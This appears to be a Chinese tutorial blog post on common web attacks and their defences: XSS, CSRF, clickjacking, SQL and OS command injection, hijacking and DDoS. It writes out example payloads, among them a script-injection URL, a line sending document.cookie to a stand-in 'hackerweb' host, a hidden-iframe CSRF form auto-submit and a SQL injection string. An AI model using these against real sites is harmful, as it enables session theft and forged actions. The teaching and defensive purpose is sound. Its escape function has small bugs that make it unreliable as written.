常见Web攻击和防护

1. XSS 跨站脚本攻击 (Cross Site Scripting)

攻击方式

1. 反射型 - url参数注入

场景: 诱导已登录用户点击有害连接(较明显)

连接内容:

1. 注入攻击站脚本 http://Aweb/?from=<script src="http://hackerWeb/hack.js"></script>
2. 短域名伪造, 会重定向到有脚本注入的url https://dwz.cm

http://hackerweb/hack.js会窃取用户登陆态信息等, 如document.cookie 利用img等html元素发送向hackerweb发送带有cookie信息的请求, 从而黑客后台可获取到登陆态信息

2. 存储型 - 将script标签注入到数据库

场景:

在网站的评论里(任何可以保存内容的地方)输入带有攻击脚本的文本, 提交后存入数据库, 再次渲染时攻击脚本执行

危害

杀伤力较大, 至关于彻底控制网站

• 获取cookie

document.cookie = "myweb:session=eyJ1c2VybmFtZSI6Imxhb3dhbmciLCJfZXhwaXJlIjoxNTcxNTQxMTM5ODI2LCJfbWF4QWdlIjo4NjQwMDAwMH0="
// 直接获取登陆态
复制代码

• 发送请求 获取登陆态 cookie

var img = new Image()
img.src='http://hackerweb/img?c='+document.cookie
复制代码

• 获取页面数据
• 修改前端逻辑
• 窃取一切前端可达数据： 用户资料, 登陆密码...

防护 (5种)

1. 转义字符 防止在没必要要的地方渲染script标签

尖括号 <script> 转义为 <p> 不容许渲染不受信任的脚本 - 转义html标签 设置转义黑名单, 白名单:

// 黑名单
function escape(str) {
  str = str.replace(/&/g, '&');
  str = str.replace(/</g, '&lt;');
  str = str.replace(/>/g, '&gt;');
  str = str.replace(/"/g, '&quto;');
  str = str.replace(/'/g, '&#39;');
  str = str.replace(/`/g, '&#96;');
  str = str.replace(/\//g, '&#x2F;');
  return str;
}

// 白名单
const xss = require('xss');
let html = xss('<h1 id="title">XSS Demo</h1><script>alert("xss");</script>');
// -> <h1>XSS Demo</h1>&lt;script&gt;alert("xss");&lt;/script&gt;
console.log(html);
复制代码

2. 防止执行跨站脚本: 设置 HTTP请求头 X-XSS-Protection

X-XSS-Protection report-uri

// ctx.set('X-XSS-Protection', 0) // 禁用XSS过滤
ctx.set('X-XSS-Protection', 1) // 默认 检测到XSS, 清除攻击脚本
ctx.set('X-XSS-Protection', '1;mode=block') // 检测到XSS, 禁止加载页面
ctx.set('X-XSS-Protection', '1;report=(Chromium only);') // 检测到XSS,清除页面并使用CSP report-uri 指令的功能发送违规 报告
复制代码

测试:

攻击Url: http://Aweb/?from=<script src="http://hackerWeb/hack.js"></script>

当网站发如今请求里面有脚本, 不会执行. 报错:

The XSS Auditor refused to execute a script in 'http://Aweb/?from=<script>src="http://hackerWeb/hack.js"></script>' because its source code was found within the request. The server sent an 'X-XSS-Protection' header requesting this behavior.

!!!可是!!! 假装一下就不行了! 如下url仍是能够攻击成功:

http://Aweb/?from=%3Cscript%20src=%22http://hackerWeb/hack.js%22%3E%3C/script%3E

3. 防止执行跨站脚本: 设置 HTTP请求头 Content-Security-Policy CSP

内容安全策略Content-Security-Policy

ctx.set('Content-Security-Policy', "default-src 'self'") // 只容许加载本站资源
ctx.set('Content-Security-Policy', "img-src https://*") // 只容许加载HTTPS协议图片
ctx.set('Content-Security-Policy', "child-src 'none'") // 不容许加载任何来源的框架
ctx.set('Content-Security-Policy', "default-src 'self'; img-src https://*; child-src 'none';") // 多条规则
复制代码

CSP指令:

• default-src：为其余取指令提供备用服务fetch directives.
• style-src: 限制层叠样式表文件源
• script-src: 限制JavaScript的源地址.
• connect-src：限制能经过脚本接口加载的URL.
• img-src: 限制图片和图标的源地址
• child-src: 为 web workers 和其余内嵌浏览器内容（例如用和加载到页面的内容）定义合法的源地址.
• frame-src: 设置容许经过相似和标签加载的内嵌内容的源地址.
• worker-src: 限制Worker、SharedWorker或者ServiceWorker脚本源.
• 更多: developer.mozilla.org/zh-CN/docs/…

检测到不符合安全策略的内容, 报错:

Refused to load the script 'http://hackerWeb/hack.js' because it violates the following Content Security Policy directive: "default-src 'self'". Note that 'script-src-elem' was not explicitly set, so 'default-src' is used as a fallback.

Refused to execute inline script because it violates the following Content Security Policy directive: "default-src 'self'". Either the 'unsafe-inline' keyword, a hash ('sha256-/sz5i86yQrlPk/hMZhdtTKsWxRVMISnvj5RnrlV7w8E='), or a nonce ('nonce-...') is required to enable inline execution. Note also that 'script-src' was not explicitly set, so 'default-src' is used as a fallback.

Refused to load the image 'http://hackerWeb/img?c=_ga=GA1.1.557044541.1556580180;%20ts_uid=6282400925;%20QQLivePCVer=50190525;%20_pk_id.1.1fff=2b81c7431dcf3ca2.1554538852.13.1564828889.1564827023.;%20kaikeba:sess=eyJ1c2VybmFtZSI6Imxhb3dhbmciLCJfZXhwaXJlIjoxNTcxNTQxMTM5ODI2LCJfbWF4QWdlIjo4NjQwMDAwMH0=' because it violates the following Content Security Policy directive: "img-src https://*".

4. 防止窃取cookie: 设置相应请求头 Set-Cookie HttpOnly

预防cookie被窃取, 没法经过document.cookie获取信息, 浏览器依然会在请求自动带上cookie 是预防XSS攻击窃取用户cookie最有效的防护手段!

// 设置Cookie时, 设置为HttpOnly
response.addHeader('Set-Cookie', 'uid=112; Path=/; HttpOnly')
复制代码

2. CSRF 跨站请求伪造 (Cross Site Request Forgery)

CSRF 利用用户已登陆的身份, 在用户绝不知情的状况下,以用户的名义完成非法操做

攻击方式

场景:

• 用户已经登陆了站点 A,并在本地记录了 cookie
• 在用户没有登出站点 A 的状况下（也就是 cookie 生效的状况下）,访问了恶意攻击者提供的引诱危险站点 B (B 站点要求访问站点A).
• 站点 A 没有作任何 CSRF 防护

模拟发送请求(伪造请求), 由于普通用户已经登陆, 模拟请求会带上登陆态cookie, 从而能够操做(攻击)成功 不直接获取cookie, 利用浏览器行为, 利用登陆态

document.write(`
      <form name="form" action="http://Aweb/updateText" method="post" target="csrf">
        添加评论: <input type="text" name="text" value="CSRF评论.." />
      </form>
      `)
      var iframe = document.createElement('iframe') // 静默加载
      iframe.name = 'csrf'
      iframe.style.display = 'none'
      document.body.appendChild(iframe)
      setTimeout(function() {
        document.querySelector('form').submit(); // 默默提交请求
      },1000)
    </script>
复制代码

危害

• 利用用户登陆态
• 用户不知情时攻击
• 完成业务请求
• 盗取用户资金（转帐,消费）
• 冒充用户发帖背锅
• 损害网站声誉

防护

1. Referer Check

验证Header的 Referer字段 是本站地址才容许经过

缺点:仅对Http有效, Https不发送referer

2. 验证码

请求须要验证码辅助

缺点: 用户体验很差, 较麻烦

通常只用于关键请求中

3. Cookie值进行hash

攻击者在访问信任网站A时, 虽然浏览器能够在请求中带上cookie, 但网站A能够不只仅经过cookie来验证用户身份, 同时还验证 给用户发送内容时生成的伪随机数, 双重验证, 这个伪随机数 不能利用浏览器机制自动加到cookie上, 须要在脚本里面加上, 从而让CSRF攻击者没法利用伪随机数, 也就没法经过验证 用于多数请求中

3. ClickJacking 点击劫持 (视觉欺骗)

攻击方式

既不窃取cookie也不利用cookie, 视觉上欺骗用户主动进行操做

场景:

在攻击网站上嵌入 渲染网站A的frame, 并设置为透明, 在攻击网站设计一些按钮或input 精准对准网站A的按钮或input, 用户操做时实际上不知道本身在网站A作了什么, 从而达到欺骗用户的目的

危害

• 用户不知情时攻击, 执行了用户不但愿的操做

防护

1. X-Frame-Options

X-Frame-Options

ctx.set('X-Frame-Options', 'deny') //表示该页面不容许在 frame 中展现,即使是在相同域名的页面中嵌套也不容许.
ctx.set('X-Frame-Options', 'sameorigin') // 表示该页面能够在相同域名页面的 frame 中展现.
ctx.set('X-Frame-Options', 'allow-from: https://example.com/') // 表示该页面能够在指定来源的 frame 中展现. !!!(Chrome不支持 Firefox支持)
复制代码

2. js自身经过frame的方式加载内容是破坏自身

是一种比较原始的解决方案

if(self !== top) { // 从frame加载
      self.document.body.style.display = 'NONE';// 隐藏或删除body的内容
      self.document.body.innerHTML = ''
    }
复制代码

4. SQL注入

针对数据库的注入

攻击方式

场景: 输入特殊字符串, 传入后台拼接SQL查询字符串, 使其查询结果为真 密码输入 1' or '1' = '1' 后台查询密码时返回 '1' = '1'的结果, 为真

危害

• 虚假登陆
• ...

防护

1. 数据使用传参的方式, 不使用字符串拼接的方式

全部的查询语句建议使用数据库提供的参数化查询接口,参数化的语句使用参数而不是将用户输入变量嵌 入到 SQL 语句中,即不要直接拼接 SQL 语句.例如 Node.js 中的 mysqljs 库的 query 方法中的 ? 占位参数.

2. 数据校验

后端代码检查输入的数据是否符合预期格式,严格限制变量的类型,例如使用正则表达式进行一些匹配处理

3. 严格的权限管理

严格限制Web应用的数据库的操做权限,给此用户提供仅仅可以知足其工做的最低权限,从而最大限度的 减小注入攻击对数据库的危害

4. 特殊字符转义

对进入数据库的特殊字符（',",,<,>,&,*,; 等）进行转义处理,或编码转换.基本上全部的后端 语言都有对字符串进行转义处理的方法,好比 lodash 的 lodash._escapehtmlchar 库.

5. OS命令注入

攻击方式

针对操做系统的注入 OS命令注入和SQL注入差很少,只不过SQL注入是针对数据库的,而OS命令注入是针对操做系统的. OS命令注入攻击指 经过Web应用,执行非法的操做系统命令达到攻击的目的. 只要在能调用Shell函数的地方就有存在被攻击的风险.倘 若调用Shell时存在疏漏,就能够执行插入的非法命令.

场景:

system命令注入

危害

• 恶意删除文件
• 恶意下载执行程序
• ...

防护

相似 SQL注入防护方法

6. 请求劫持 (DNS劫持 HTTP劫持)

DNS劫持

顾名思义, DNS服务器(DNS解析各个步骤)被篡改,修改了域名解析的结果,使得访问到的不是预期的ip

HTTP劫持

运营商劫持 防护: 此时大概只能升级HTTPS了

7. DDOS (distributed denial of service)

DDOS 攻击的防范教程

不是一种攻击,而是一大类攻击的总称.它有几十种类型,新的攻击方法还在不断发明出来.网站运行的各 个环节,均可以是攻击目标.只要把一个环节攻破,使得整个流程跑不起来,就达到了瘫痪服务的目的

常见攻击方式

SYN Flood

此攻击经过向目标发送具备欺骗性源IP地址的大量TCP"初始链接请求"SYN数据包来利用TCP握手.目标机器 响应每一个链接请求,而后等待握手中的最后一步,这一步从未发生过,耗尽了进程中的目标资源.

HTTP Flood

此攻击相似于同时在多个不一样计算机上反复按Web浏览器中的刷新 - 大量HTTP请求泛滥服务器,致使拒绝服 务.

防护

1. 备份网站

备份网站不必定是全功能的,若是能作到全静态浏览,就能知足需求.最低限度应该能够显示公告,告诉用户, 网站出了问题,正在全力抢修.

2. HTTP 请求的拦截 高防IP -靠谱的运营商 多个 Docker

硬件 服务器 防火墙

3. 带宽扩容 + CDN

提升犯罪成本